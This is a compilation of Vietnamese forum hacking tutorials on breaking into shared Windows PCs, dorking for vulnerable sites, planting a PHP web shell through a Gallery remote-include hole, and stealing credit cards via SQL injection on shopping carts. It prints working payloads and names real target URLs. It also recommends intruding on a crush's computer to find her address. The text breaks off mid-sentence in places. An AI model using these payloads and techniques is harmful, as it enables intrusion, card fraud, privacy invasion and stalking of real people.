_ Xâm nhập máy tính đang online là một kỹ thuật vừa dễ lạI vừa khó . Bạn có thể nói dễ khi bạn sử dụng công cụ ENT 3 nhưng bạn sẽ gặp vấn đề khi dùng nó là tốc độ sử dụng trên máy của nạn nhân sẽ bị chậm đi một cách đáng kể và những máy họ không share thì không thể xâm nhập được, do đó nếu họ tắt máy là mình sẽ bị công cốc khi chưa kịp chôm account , có một cách êm thấm hơn , ít làm giảm tốc độ hơn và có thể xâm nhập khi nạn nhân không share là dùng chương trình DOS để tấn công . Ok , ta sẽ bắt đầu :
_ Dùng chương trình scan IP như ENT 3 để scan IP mục tiêu .
_ Vào Start == > Run gõ lệnh cmd .
_ Trong cửa sổ DOS hãy đánh lệnh “net view ”

CODE
+ VD : c:\net view 203.162.30.xx


_ Bạn hãy nhìn kết quả , nếu nó có share thì dễ quá , bạn chỉ cần đánh tiếp lệnh

net use <ổ đĩa bất kỳ trên máy của bạn > : <ổ share của nạn nhân >

+ VD : c:\net use E : 203.162.30.xxC

_ Nếu khi kết nối máy nạn nhân mà có yêu cầu sử dụng Passwd thì bạn hãy download chương trình dò passwd về sử dụng ( theo tôi bạn hãy load chương trình “pqwak2” áp dụng cho việc dò passwd trên máy sử dụng HĐH Win98 hoặc Winme và chương trình “xIntruder” dùng cho Win NT ) . Chú ý là về cách sử dụng thì hai chương trình tương tự nhau , dòng đầu ta đánh IP của nạn nhân , dòng thứ hai ta đánh tên ổ đĩa share của nạn nhân nhưng đối với “xIntruder” ta chú ý chỉnh Delay của nó cho hợp lý , trong mạng LAN thì Delay của nó là 100 còn trong mạng Internet là trên dướI 5000 .
_ Nếu máy của nạn nhân không có share thì ta đánh lệnh :

net use <ổ đĩa bất kỳ trên máy của bạn > : c$ (hoặc d$)``administrator``

+ VD : net use E : 203.162.30.xxC$``administrator``

Kiểu chia sẽ bằng c$ là mặc định đối với tất cả các máy USER là ``administrator`` .
_ Chúng ta có thể áp dụng cách này để đột nhập vào máy của cô bạn mà mình “thầm thương trộm nhớ” để tìm những dữ liệu liên quan đến địa chỉ của cô nàng ( với điều kiện là cô ta đang dùng máy ở nhà và bạn may mắn khi tìm được địa chỉ đó ) . Bạn chỉ cần chat Y!Mass rồi vào DOS đánh lệnh :

c:\netstat –n

Khi dùng cách này bạn hãy tắt hết các cửa sổ khác chỉ để khung chat Y!Mass với cô ta thôi , nó sẽ giúp bạn dễ dàng hơn trong việc xác định địa chỉ IP của cô ta . Sau đó bạn dùng cách xâm nhập mà tôi đã nói ở trên .( Có lẽ anh chàng tykhung của chúng ta hồi xưa khi tán tỉnh cô bạn ở xa qua mạng cũng dùng cách này để đột nhập và tìm hiểu địa chỉ của cô ta đây mà , hi`hi` . )
Bạn sẽ thành công nếu máy của nạn nhân không cài firewall hay proxy .

=================================================== =

Nhiều bạn có yêu cầu tôi đưa ra địa chỉ chính xác cho các bạn thực tập , nhưng tôi không thể đưa ra được vì rút kinh nghiệm những bài hướng dẫn có địa chỉ chính xác , khi các bạn thực hành xong đoạt được quyền admin có bạn đã xoá cái database của họ . Như vậy HVA sẽ mang tiếng là nơi bắt nguồn cho sự phá hoại trên mạng . mong các bạn thông cảm , nếu có thể thì tôi chỉ nêu những cách thức để các bạn tìm những dịa chỉ bị lỗi đó chứ không đưa ra địa chỉ cụ thể nào .
Ở phần 4 tôi sẽ đề cập đến kỹ thuật chống xâm nhập vào máy tính của mình khi bạn online , tìm hiểu sơ các bước khi ta quyết định hack một trang Web , kỹ thuật tìm ra lỗi trang Web để thực hành , kỹ thuật hack Web thông qua lỗi Gallery.v.v…….


Tìm hiểu về RPC (Remote Procedure Call) :

_ Windows NT cung cấp khả năng sử dụng RPC để thực thi các ứng dụng phân tán . Microsoft RPC bao gồm các thư viện và các dịch vụ cho phép các ứng dụng phân tán hoạt động được trong môi trường Windows NT. Các ứng dụng phân tán chính bao gồm nhiều tiến trình thực thi với nhiệm vụ xác định nào đó. Các tiến trình này có thể chạy trên một hay nhiều máy tính.

_Microsoft RPC sử dụng name service provider để định vị Servers trên mạng. Microsoft RPC name service provider phải đi liền với Microsoft RPC name service interface (NIS). NIS bao bao gồm các hàm API cho phép truy cập nhiều thực thể trong cùng một name service database (name service database chứa các thực thể, nhóm các thực thể, lịch sử các thực thể trên Server).
Khi cài đặt Windows NT, Microsoft Locator tự động được chọn như là name service provider. Nó là name service provider tối ưu nhất trên môi trường mạng Windows NT.

27 . ) Kỹ thuật đơn giản để chống lại sự xâm nhập trái phép khi đang online thông qua RPC (Remote Procedure Call) :

_ Nếu bạn nghi ngờ máy của mình đang có người xâm nhập hoặc bị admin remote desktop theo dõi , bạn chỉ cần tắt chức năng remote procedure call thì hiện tại không có chương trình nào có thể remote desktop để theo dõi bạn được . Nó còn chống được hầu hết tools xâm nhập vào máy ( vì đa số các tools viết connect dựa trên remote procedure call ( over tcp/ip )).Các trojan đa số cũng dựa vào giao thức này.

Cách tắt: Bạn vào service /remote procedure call( click chuột phải ) chọn starup typt/disable hoặc manual/ apply.

Đây là cách chống rất hữu hiệu với máy PC , nếu thêm với cách tắt file sharing thì rất khó bị hack ) ,nhưng trong mạng LAN bạn cũng phiền phức với nó không ít vì bạn sẽ không chạy được các chương trình có liên quan đến thiết bị này . Tùy theo cách thức bạn làm việc mà bạn có cách chọn lựa cho hợp lý . Theo tôi thì nếu dùng trong mạng LAN bạn hãy cài một firewall là chắc chắn tương đối an toàn rồi đó .

( Dựa theo bài viết của huynh “Đời như củ khoai ” khoaimi – admin của HVA )

28 . ) Những bước để hack một trang web hiện nay :

_ Theo liệt kê của sách Hacking Exposed 3 thì để hack một trang Web thông thường ta thực hiện những bước sau :
+ FootPrinting : ( In dấu chân )
Đây là cách mà hacker làm khi muốn lấy một lượng thông tin tối đa về máy chủ/doanh nghiệp/người dùng. Nó bao gồm chi tiết về địa chỉ IP, Whois, DNS ..v.v đại khái là những thong tin chính thức có lien quan đến mục tiêu. Nhiều khi đơn giản hacker chỉ cần sử dụng các công cụ tìm kiếm trên mạng để tìm những thong tin đó.
+ Scanning : ( Quét thăm dò )
Khi đã có những thông tin đó rồi, thì tiếp đến là đánh giá và định danh những những dịch vụ mà mục tiêu có. Việc này bao gồm quét cổng, xác định hệ điều hành, .v.v.. Các công cụ được sử dụng ở đây như nmap, WS pingPro, siphon, fscam và còn nhiều công cụ khác nữa.
+ Enumeration : ( liệt kê tìm lỗ hổng )
Bước thứ ba là tìm kiếm những tài nguyên được bảo vệ kém, hoạch tài khoản người dùng mà có thể sử dụng để xâm nhập. Nó bao gồm các mật khẩu mặc định, các script và dịch vụ mặc định. Rât nhiều người quản trị mạng không biết đến hoặc không sửa đổi lại các giá trị này.
+ Gaining Access: ( Tìm cách xâm nhập )
Bây giờ kẻ xâm nhập sẽ tìm cách truy cập vào mạng bằng những thông tin có được ở ba bước trên. Phương pháp được sử dụng ở đây có thể là tấn công vào lỗi tràn bộ đệm, lấy và giải mã file password, hay thô thiển nhất là brute force (kiểm tra tất cả các trường hợp) password. Các công cụ thường được sử dụng ở bước này là NAT, podium, hoặc L0pht.
+ Escalating Privileges : ( Leo thang đặc quyền )
Ví dụ trong trường hợp hacker xâm nhập đựợc vào mạng với tài khoản guest, thì họ sẽ tìm cách kiểm soát toàn bộ hệ thống. Hacker sẽ tìm cách crack password của admin, hoặc sử dụng lỗ hổng để leo thang đặc quyền. John và Riper là hai chương trình crack password rất hay được sử dụng.
+ Pilfering : ( Dùng khi các file chứa pass bị sơ hở )
Thêm một lần nữa các máy tìm kiếm lại đựơc sử dụng để tìm các phương pháp truy cập vào mạng. Những file text chứa password hay các cơ chế không an toàn khác có thể là mồi ngon cho hacker.
+ Covering Tracks : ( Xoá dấu vết )
Sau khi đã có những thông tin cần thiết, hacker tìm cách xoá dấu vết, xoá các file log của hệ điều hành làm cho người quản lý không nhận ra hệ thống đã bị xâm nhập hoặc có biêt cũng không tìm ra kẻ xâm nhập là ai.
+ Creating ``Back Doors`` : ( Tạo cửa sau chuẩn bị cho lần xâm nhập tiếp theo được dễ dàng hơn )
Hacker để lại ``Back Doors``, tức là một cơ chế cho phép hacker truy nhập trở lại bằng con đường bí mật không phải tốn nhiều công sức, bằng việc cài đặt Trojan hay tạo user mới (đối với tổ chức có nhiều user). Công cụ ở đây là các loại Trojan, keylog…
+ Denial of Service (DoS) : ( Tấn công kiểu từ chối dịch vụ )
Nêu không thành công trong việc xâm nhập, thì DoS là phương tiện cuối cùng để tấn công hệ thống. Nếu hệ thống không được cấu hình đúng cách, nó sẽ bị phá vỡ và cho phép hacker truy cập. Hoặc trong trường hợp khác thì DoS sẽ làm cho hệ thống không hoạt động được nữa. Các công cụ hay được sử dụng để tấn công DoS là trin00, Pong Of Death, teardrop, các loại nuker, flooder . Cách này rất lợi hại , và vẫn còn sử dụng phổ biến hiện nay .
_ Tuỳ theo hiểu biết và trình độ của mình mà một hacker bỏ qua bước nào . Không nhất thiết phảI làm theo tuần tự . Các bạn hãy nhớ đến câu “ biết người biết ta trăm trận trăm thắng ” .

( Tài liệu của HVA và hackervn.net )

29 . ) Cách tìm các Website bị lỗi :

_ Chắc các bạn biết đến các trang Web chuyên dùng để tìm kiếm thông tin trên mạng chứ ? Nhưng các bạn chắc cũng không ngờ là ta có thể dùng những trang đó để tìm những trang Web bị lỗi ( Tôi vẫn thường dùng trang google.com và khuyên các bạn cũng nên dùng trang này vì nó rất mạnh và hiệu quả ) .
_ Các bạn quan tâm đến lỗi trang Web và muốn tìm chúng bạn chỉ cần vào google.com và đánh đoạn lỗi đó vào sau “allinurl : ” . VD ta có đoạn mã lỗi trang Web sau :

cgi-bin/php.cgi?/etc/passwd

các bạn sẽ đánh :

“allinurl:cgi-bin/php.cgi?/etc/passwd”

Nó sẽ liệt kê ra những trang Web đang bị lỗi này cho các bạn , các bạn hãy nhìn xuống dưới cùng của mỗi mẫu liệt kê ( dòng địa chỉ màu xanh lá cây ) nếu dòng nào viết y chang từ khoá mình nhập vào thì trang đó đã hoặc đang bị lỗi .Các bạn có xâm nhập vào được hay không thì cũng còn tuỳ vào trang Web đó đã fix lỗi này hay chưa nữa .
_ Các bạn quan tâm đến lỗi forum , các bạn muốn tìm forum dạng này để thực tập , chỉ cần nhập từ khoá

powered by

VD sau là để tìm forum dùng Snitz 2000 :

powered by Snitz 2000

_ Tuy nhiên , việc tìm ra đúng forum hoặc trang Web bị lỗi theo cách đó có xác suất không cao , bạn hãy quan tâm đến đoạn string đặc biệt trong URL đặc trưng cho từng kiểu trang Web hoặc forum đó ( cái này rất quan trọng , các bạn hãy tự mình tìm hiểu thêm nhé ) . VD tìm với lỗi Hosting Controller thì ta sẽ có đoạn đặc trưng sau

``/admin hay /advadmin hay /hosting``

ta hãy đánh từ khoá :

allinurl:/advadmin
hoặc allinurl:/admin
hoặc allinurl:/hosting

Nó sẽ liệt kê ra các trang Web có URL dạng :

http://tentrangweb.com/advadmin
hoặc http://tentrangweb.com/admin
hoặc http://tentrangweb.com/hosting

VD với forum UBB có đoạn đặc trưng

``cgi-bin/ultimatebb.cgi?``

Ta cũng tìm tương tự như trên .
Chỉ cần bạn biết cách tìm như vậy rồi thì sau này chỉ cần theo dõi thông tin cập nhật bên trang “Lỗi bảo mật” của HVA do bạn LeonHart post hằng ngày các bạn sẽ hiểu được ý nghĩa của chúng và tự mình kiểm tra .

30 . ) Kỹ thuật hack Web thông qua lỗi Gallery ( một dạng của lỗi php code inject ):

_ Gallery là một công cụ cho phép tạo một gallery ảnh trên web được viết bằng PHP , lợi dụng sơ hở này ta có thể lợi dụng để viết thêm vào đó một mã PHP cho phép ta upload , đó chính là mục đích chính của ta .
_ Trước hết bạn hãy đăng ký một host miễn phí , tốt nhất là bạn đăng ký ở brinkster.com cho dễ . Sau đó bạn mở notepad và tạo file PHP với đoạn mã sau :

CODE
<?php
global $PHP_SELF;
echo ``
<form method=post action=$PHP_SELF?$QUERY_STRING >
<input type=text name=shell size=40 >
<input type=hidden name=act value=shell >
<input type=submit value=Go name=sm >
``;
set_magic_quotes_runtime(1);
if ($act == ``shell``) {
echo ``\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n< xmp > ``;
system($shell);
echo ``

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n``; }
echo `` ``;
? >


Đoạn mã này bạn hãy tạo làm 2 file có tên khác nhau ( nhưng cùng chung một mã ) và đặt tên là :
+ shellphp.php : file này dùng để chạy shell trên victim host .
+ init.php : file này dùng để upload lên trang có host bạn vừa tạo . ( Bạn hãy upload file init.php này lên sớm vì ta sẽ còn sử dụng nó nhưng với đoạn mã khác , bạn quên upload file này lên là tiêu )

Bạn hãy tạo thêm một file PHP với mã sau :

CODE
<?php
function handleupload() {
if (is_uploaded_file($_FILES[`userfile`][`tmp_name`])) {
$filename = $_FILES[`userfile`][`tmp_name`];
print ``$filename was uploaded successfuly``;
$realname = $_FILES[`userfile`][`name`];
print ``realname is $realname\n``;
print ``copying file to uploads dir ``.$realname;
copy($_FILES[`userfile`][`tmp_name`],*PATH*.$realna me); // lưu ý *PATH* chúng ta sẽ thay đổi sau
} else {
echo ``Possible file upload attack: filename``.$_FILES[`userfile`][`name`].``.``;
}
}
if ($act == ``upload``) {
handleupload();
}
echo ``
<form ENCTYPE=multipart/form-data method=post action=$PHP_SELF?$QUERY_STRING >
File:<INPUT TYPE=FILE NAME=userfile SIZE=35 >
<input type=hidden name=MAX_FILE_SIZE value=1000000 >
<input type=hidden name=act value=upload >
<input type=submit value=Upload name=sm >

``;
? >


Bạn hãy đặt tên là upload.php , nó sẽ dùng để upload lên trang Web của nạn nhân .
_ Tiếp theo Bạn vào Google, gõ ``Powered by gallery`` rồi enter, Google sẽ liệt kê một đống những site sử dụng Gallery , bạn hãy chọn lấy một trang bất kỳ rồI dùng link sau để thử xem nó còn mắc lỗI Gallery hay không :

http:// trang Web của nạn nhân > /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ /

Nếu bạn thấy hiện lên một ô hình chữ nhật ở phía trên cùng , bên phải của nó là ô lệnh chuyển tiếp có chữ “Go” là coi như bạn đã tìm thấy được đốI tượng rồi đó . Bây giờ bạn đã có thể gõ lệnh thông qua ô chữ nhật đó để hack Web của nạn nhân .
Trước hết bạn hãy gõ lệnh “pwd” để xác định đường dẫn tuyệt đối đến thư mục hiện thời rồi nhấn nút “Go” , khi nó cho kết quả bạn hãy nhanh chóng ghi lại đường dẫn ở phía dướI ( Tôi sẽ sử dụng VD đường dẫn tôi tìm thấy là “/home/abc/xyz/gallery” ).
Sau đó bạn đánh tiếp lệnh “|s –a|” để liệt kê các thư mục con của nó . Bây giờ bạn hãy nhìn kết quả , bạn sẽ thấy một đống các thư mục con mà ta đã liệt kê . Bạn hãy luôn nhớ là mục đích của chúng ta là tìm một thư mục có thể dùng để upload file upload.php mà ta đã chuẩn bị từ trước do đó bạn hãy xác định cùng tôi bằng cách nhìn vào những chữ cuốI cùng của mỗi hàng kết quả :
+ Bạn hãy loại bỏ trường hợp các thư mục mà có dấu “.” hoặc “..” vì đây là thư mục gốc hoặc là thư mục ảo ( Nó thường được xếp trên cùng của các hàng kết quả ) .
+ Bạn cũng loạI bỏ những hàng có chữ cuối cùng có gắn đuôi ( VD như config.php , check.inc .v.v… ) vì đây là những file chứ không phải là thư mục .
+ Còn lại là những thư mục có thể upload nhưng tôi khuyên bạn nên chọn những hàng chứa tên thư mục mà có chứa số lớn hơn 1 ( Bạn có thể xác định được chúng bằng cách nhìn cột thứ 2 từ trái sang ) , vì như vậy vừa chắc chắn đây là thư mục không phải thư mục ảo , vừa làm cho admin của trang Web đó khó phát hiện khi ta cài file của ta vào . Tôi VD tôi phát hiện ra thư mục “loveyou” có chứa 12 file có thể cho ta upload , như vậy đường dẫn chính thức mà ta upload lên sẽ là :

/home/abc/xyz/Gallery/loveyou

Bây giờ bạn hãy vào account host của bạn, sửa nội dung file init.php giống như mã của file upload.php, nhưng sửa lại *PATH* thành “/home/abc/xyz/gallery/loveyou/ ”. Đồng thời cũng chuẩn bị một file upload.php trên máy của bạn với *PATH* là “” ( 2 dấu ngoặc kép ).
Bây giờ là ta đã có thể upload file upload.php lên trang Web của nạn nhân được rồi , bạn hãy nhập địa chỉ sau trên trình duyệt Web của bạn :

http:// trang Web của nạn nhân > /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ /

Bạn sẽ thấy xuất hiện tiếp một khung hình chữ nhật và bên cạnh là có 2 nút lệnh , một là nút “brown” , một là nút “upload” . Nút “brown” bạn dùng để dẫn đến địa chỉ file upload.php bạn đã chuẩn bị trên máy của bạn , nút “upload” khi bạn nhấn vào đó thì nó sẽ upload file upload.php lên trang Web của nạn nhân . Ok , bây giờ coi như bạn đã hoàn thành chặng đường hack Web rồi đó . Từ bây giờ bạn hãy vận dụng để tấn công đối thủ như lấy database , password ( làm tương tự như các bài hướng dẫn hack trước ) , nhưng các bạn chỉ nên thực tập chứ đừng xoá database hay phá Web của họ. Nếu là một hacker chân chính các bạn chỉ cần upload lên trang Web dòng chữ : “Hack by ……..” là đủ rồi .
Cũng như những lần trước , các bạn có thành công hay không cũng tuỳ thuộc vào sự may mắn và kiên trì nghiên cứu vận dụng kiến thức của các bạn .

( Dựa theo hướng dẫn hack của huynh vnofear – viethacker.net


Gói tin TCP/IP là gì?

TCP/IP viết tắt cho Transmission Control Protocol and Internet Protocol, một Gói tin TCP/IP là một khối dữ liệu đã được nén, sau đó kèm thêm một header và gửi đến một máy tính khác. Đây là cách thức truyền tin của internet, bằng cách gửi các gói tin. Phần header trong một gói tin chứa địa chỉ IP của người gửi gói tin. Bạn có thể viết lại một gói tin và làm cho nó trong giống như đến từ một người khác!! Bạn có thể dùng cách này để tìm cách truy nhập vào rất nhiều hệ thống mà không bị bắt. Bạn sẽ phải ch

Chào mừng bạn đã đến với Silvery Hat Hacker. Trong bài viết này , Silvery Hat Hacker sẽ giới thiệu đến với bạn 10 cách đánh cắp Thẻ Tín Dụng qua lỗi Sql Injection lẫn các lỗi thông qua Google và các Bug khác... Có thể bạn đã bắt gặp ở đâu đó cách thức hack tương tự như trong những bài viết này , nhưng vì nhiều người bạn qua Yahoo Messenger đã hỏi hay nói với Silvery Hat Hacker rằng họ chưa hiểu hay chưa biết rõ phải làm sao. Vì vậy Silvery Hat Hacker đành viết lại 1 lần nữa chuỗi bài viết về Hack cc này. Cũ có mới cũng có nhưng lỗi vẫn là lỗi và Silvery Hat Hacker đã chọn ra và sưu tầm từ nhiều nguồn những phương pháp còn có thể thành công để trình bày ở đây...



1-Thông qua lỗi SQL của Alabanza AlaCart :

A\Mô tả :

AlaCart là 1 trong những ứng dụng web dùng để trao đổi và mua bán hàng qua mạng của Alabanza , 1 công ty chuyên về Dịch vụ Máy Chủ tự Động Hóa ( Web hosting automation ) . Trong phiên bản đã kiểm nghiệm ( v1.27 ) , Silvery Hat Hacker và anh bạn đã viết ra bài này ( phiên bản English ) đã phát hiện ra lỗi chèn đọan mã SQL vào quá trình đăng nhập của AlaCart trong vai trò Administrator để quản lý cơ sở dữ liệu tòan bộ thành phần của Web có vấn đề. Nó cho phép Tin tặc có thể đăng nhập mả không cần biết Username và Password. ( Lỗi Sql : Nếu bạn không biết vì sao hãy tham khảo ở đây hay các bài khác của phần Kiến thức Cơ Bản để học hỏi thêm )

B\Tiến Hành :

Bạn cần 1 website cài đặt AlaCart

Công nghệ quản lý Mua-Bán của AlaCart nằm trong thư mục /s-car

Để bắt đầu truy vào trang đăng nhập của Admin , ta có thư mục /admin

=> ta sẽ có www.tên website.tên miền/s-car/admin => bạn vào được trang đăng nhập. Nó sẽ xuất hiện thông báo đòi tên truy nhập và mật khẩu

-Vì bạn đã biết AlaCart bị SQL nên ta sẽ dùng các Username và Password dùng để Bypass tương tự như sao : 'or''='

-Vào được cơ sở quản lý rồi. Bạn vẫn còn khó khăn trước mắt :

+Nhìn vào không thấy Thẻ Tín Dụng

+Tòan chữ và chữ

Bạn đừng thất vọng , vì khi vừa vào là bạn đã gặp ngay phần Help - Trợ Giúp được mặc định hiển thị của AlaCart nên click vào các link ở giữa trước mắt chỉ là tìm hiểu cách họat động của chúng chứ không phải điều khiển chúng. Bạn nhìn lên các dòng ngang , tìm Order Options hay Order. Trong trang kế , bạn tìm dòng :

Please enter the email address to which orders will be sent: - Xin hảy vui lòng nhập vào địa chỉ email mà các thông tin mua bán sẽ được gửi đến:

-Tới đây không thể chỉ hơn được nữa , bạn hãy tự làm lấy , mặc dù phải chờ đợi..Nhưng chúc may mắn. Silvery Hat Hacker đã lấy được rất nhiều Thẻ Tín Dụng bằng cách này rồi.

Trang ví dụ ( bạn kiếm thêm qua Google bằng từ khóa s-cart/admin/ ) :

http://avantiparts.net/s-cart/admin/

http://64.177.121.164/s-cart/admin/

Đừng phá quá , tội người khác nha , các Newbies. Thanks



2-Thông qua lỗi SQL của VP-ASP:

A\Mô tả :

Cái này đã quá quen thuộc với dân Ăn cắp Thẻ Tín Dụng rồi. Silvery Hat Hacker chỉ nói sơ qua thôi. Đây là 1 công cụ mạnh mẽ giúp cho admin của các website Bán hàng quản lý cơ sở dữ liệu của mình dễ dàng hơn. Tiện lợi , nhưng VP-ASP có cả khối lỗi cho Hackers khai thác...Silvery Hat Hacker sẽ từ từ trình bày chúng lên cho các bạn THAM KHẢO - chỉ mong bạn tham khảo cho biết thôi...

B\Tiến Hành :

-SQL Injection lại tiếp tục làm khổ các website...Bạn tiếp tục có cơ hội để bypass - đăng nhập trái phép vào vai trò admin qua 'or''=' để "quản lý" cơ sơ dữ liệu hộ admin.

Đường dẫn để đăng nhập

www.tên website.tên miền/vpasp/shopadmin.asp

-1 số admin "quên" đổi Username và password mặc định vpasp/vpasp hay admin/admin . Bạn có thêm 1 cơ hội nhỏ nữa .



3-Thông qua lỗi SQL của Storefront:

A\Mô tả :

Storefront cũng như VP-ASP , nó là 1 hệ thống bao gồm tất cả những gì cần thiết cho việc quản lý 1 website thương mại trên Internet….Và , cũng như AlaCart và VP-ASP , Storefront bị dính lỗi SQL ở trang Login mà qua đó cho phép hackers lấy quyền đăng nhập vào phần quản lý của Admin mà không cần sự cho phép.

B\Tiến Hành :

-Bạn vào http://www.google.com/intl/xx-hacker/ , tìm với từ khóa Storefront allinurl:/login.asp . Sauk hi tìm được những trang Login , bạn dùng Username và Password ' or 'a'='a để bypass vào.

-Nếu như bạn đã biết trước địa chỉ email của ai đó , bạn cũng có thể sử dụng nó ở đây theo dạng sau :

Username : địa chỉ email đã biết

Password : ' or 'a'='a

=> Bạn vào được phần quản lý của user sở hữu địa chỉ email trên. Việc lấy thẻ tín dụng ở đây không còn là việc khó khăn nữa.



4-Thông qua lỗi SQL của VP-ASP:

A\Mô tả :

1 phiên bản khác của VP-ASP , lỗi SQL đã được phát hiện ra trong 2 trang shopsearch.asp và shopdisplayproducts.asp qua đó cho phép những tin tặc tạo 1 tài khỏan Người Quản Trị mới , đổi mật khẩu của Admin trước đó mà không cần biết password hay chỉ đơn giản là đăng nhập trái phép để đọc thong tin bán hang của website…Bao gồm cà thẻ tín dụng

B\Tiến Hành :

Như thường lệ bạn tìm trong Google…allinurl:shopsearch.asp hay allinurl:shopdisplayproducts.asp .

Vấn đề ở đây là bạn không thể nào bypass vào tài khỏan admin được như 3 cách trên mà phải thực hiện 1 số mã lệnh SQL trước ( Lưu ý rằng những đọan mã sau bạn chèn vào ngay sau đường Link shopsearch.asp? ) :

A\THÔNG QUA TRANG SHOPSEARCH.ASP

I - Chèn 1 tài khỏan vào Database :

-Câu lệnh :

Keyword=&category=5); insert into tbluser (fldusername) values ('tên tài khỏan')--&SubCategory=&hide=&action.x=46&action.y=6

-Ví dụ :

http://www.birnsandsawyer.com/webcart/shopsearch.asp?Keyword=&category=5); insert into tbluser (fldusername) values ('silveryhat')--&SubCategory=&hide=&action.x=46&action.y=6



II - Thiết lập mật khẩu cho tài khỏan đã có :

-Câu lệnh :

Keyword=&category=5); update tbluser set fldpassword='mật khẩu' where fldusername='tên tài khỏan'--&SubCategory=All&action.x=33&action.y=6

-Ví dụ :

http://www.birnsandsawyer.com/webcart/shopsearch.asp?Keyword=&category=5); update tbluser set fldpassword='87fzvwek' where fldusername='silveryhat'--&SubCategory=All&action.x=33&action.y=6



III – Thiết lập quyền truy cập của tài khỏan ( ở đây cho là quyền của người quản trị cho nó oai ) :

-Câu lệnh :

Keyword=&category=3); update tbluser set fldaccess='1 - đây là quyền của admin' where fldusername='tên tài khỏan'--&SubCategory=All&action.x=33&action.y=6

-Ví dụ :

http://www.birnsandsawyer.com/webcart/shopsearch.asp?Keyword=&category=3); update tbluser set fldaccess='1' where fldusername='silveryhat'--&SubCategory=All&action.x=33&action.y=6



Đó là 3 hàng lệnh mà bạn nên biết khi bắt đầu hack vào VP-ASP qua trang shopsearch.asp. Tất nhiên nó còn vài câu lệnh nữa, nhưng Silvery Hat Hacker không muốn thực hành ở đây , bạn hãy xem sơ qua câu lệnh :

IV\Đổi password 1 tài khỏan :

Keyword=&category=5); update tbluser set fldpassword='mật khẩu mới' where fldusername='tên tài khỏan'--&SubCategory=All&action.x=33&action.y=6

V\Xem mật khẩu của 1 tài khỏan :

cat=qwerty'%20union%20select%20fldauto,fldpassword%20from%20tbluser%20where%20fldusername='tên tài khỏan'%20and%20fldpasswo rd%20like%20'a%25'—



B\THÔNG QUA TRANG SHOPDISPLAYPRODUCTS.ASP

-Nói thật ra thì Silvery Hat Hacker cũng chưa nắm rõ về phương pháp này cho lắm vì chưa có cơ hội thực hành với trang shopdisplayproducts.asp. Tuy nhưng Silvery Hat Hacker tin chắc nó có liên quan đến việc Xem mật khẩu của tài khoản ở trên.

http://tên website/vpasp/shopdisplayproducts.asp?cat=qwerty' union%20select fldauto,fldpassword%20from%20tbluser%20where fldusername='admin'%20and%20fldpassword%20like%20'a%25'--

Bạn thay lần lượt dòng cuối cùng ( màu xanh lá cây ) bằng :

%20'a%25'--

%20'b%25'--

%20'c%25'—

…

Lỗi này được thông báo cho VP-ASP ngày 28/11/2003



5\Lỗi đường dẫn của ProductCart :

A\Mô tả :

-ProductCart một sản phẩm đầu tay của hãng Early Impact, nó giúp cho người quản trị website bán hàng trực tuyến dễ dàng điều khiển thiết lập hay tinh chỉnh tính năng và tiện ích trong Website của mình 1 cách trực quan và dễ hiểu qua giao diện quản lý rất thân thiện. Tuy không thể so sánh với VP-ASP , 1 cao thủ trong số các phần mềm bán hàng trực tuyến với hàng trăm website sử dụng và hàng chục Bug lỗi trong đó. Vì thế , ở đây, ProductCart chỉ là hạng lon con với 1 lỗi duy nhất, cực kỳ nguy hiểm. Qua lỗi này, Silvery Hat Hacker có thể trực tiếp đưa về máy mình mười mấy Megabytes Credit Cards và thông tin về khác mua hàng trong Website đó. Lỗi đường dẫn diễn ra, nghĩa là chúng ta không cần biết Website đó như thế nào, trông ra sao, bên trong có thư mục gì, hình ảnh thế nào....nhưng vẫn có thể tải 1 số thẻ tín dụng về máy mình trơn tru, ít bị phát hiện vì Admin có thể không xác định được đã có người ghé thăm nhà mình và bê cái két sắt ( Credit Cards ) về làm của riêng đâu...



B\Tiến hành :

-Hầu hết chúng ta đều dùng công cụ Google để tìm kiếm 1 thông tin hay tài liệu website nào đó nhằm cho nhiều mục đích vui chơi và học tập. Thế nhưng , bên cạnh đó Google cũng tài sản vô giá của Hackers khi nó trở thành mục tiêu trung gian để khai thác, xâm nhập bất hợp pháp vào khu vực của 1 Website nào đó mà người dùng bình thường không thể biết. Chỉ với 1 từ khóa đơn giản, thông tin quan trọng về Webmaster,người đó có thể bị lộ, chỉ với 1 từ khóa đơn giản, password của ai đó có thể bị mất, và, chỉ với 1 từ khóa đơn giản, bạn có thể download cả Database - tập tin quản lý dữ liệu chứa hàng chục Credit Card chùa về máy mình mà không cần phải vào xem mặt Website đó. Tương tự như ở đây, ProductCart bị mắc lỗi ở việc quản lý đường dẫn đưa tới nơi lưu trữ Database cực kỳ nguy hiểm mà cho phép chúng ta làm công việc Silvery Hat Hacker nói ở trên.

-Trong quá trình thực hành theo bài viết này, Silvery Hat Hacker sẽ không chịu bất kỳ trách nhiệm nào do bạn gây ra làm ảnh hưởng đến nhân dân trong cộng đồng Internet này, chính bạn sẽ là người gánh hết mọi hậu quả khi có vấn đề liên quan đến pháp luật. Nếu bạn không chắc về những gì mình làm, Silvery Hat Hacker đề nghị bạn đóng của sổ trình duyệt hiện tại, xé bỏ tờ giấy nếu bạn có bản in của tài liệu này trước khi mọi chuyện do bạn làm trở nên tồi tệ hơn.

-Ah, bạn không làm theo Silvery Hat Hacker nói ở trên àh ? Sau khi đọc hết dòng chữ bạn đang đọc này nghĩa là bạn đã đồng ý với luật lệ Silvery Hat Hacker nói ở trên và chấp nhận liều mạng. Ta hãy bắt đầu vấn đề chính :

+Bạn vào http://www.google.com/intl/xx-hacker/ , tìm với từ khóa sau Allinurl:/productcart/ . Hàng lọat link web sẽ xuất hiện trong cửa sổ kết quả của Google. Bạn chọn đại 1 link nào đó ở trang thứ 3 hay 4 trở đi. Silvery Hat Hacker chọn http://store.klas-fm.firstmediaworks.com/ để làm dẫn chứng minh họa.

+Có được 1 trang web dùng ProductCart , vấn đề kế tiếp bạn làm thêm vào tên của sản phẩm này sau link web :

http://store.klas-fm.firstmediaworks.com/ProductCart

+Chẳng có gì xảy ra ngọai trừ vào website nếu bạn click link đó phải không ? Nhưng nếu, dừng lại suy nghĩ giây lát, bạn biết thẻ tín dụng thường được chứa trong Database để dễ quản lý phải không ? Vậy nó thường chứa ở đâu trong website bây giờ ?... Silvery Hat Hacker thử lấy đại biệt danh của tập tin chứa Credit Card này thêm vào link :

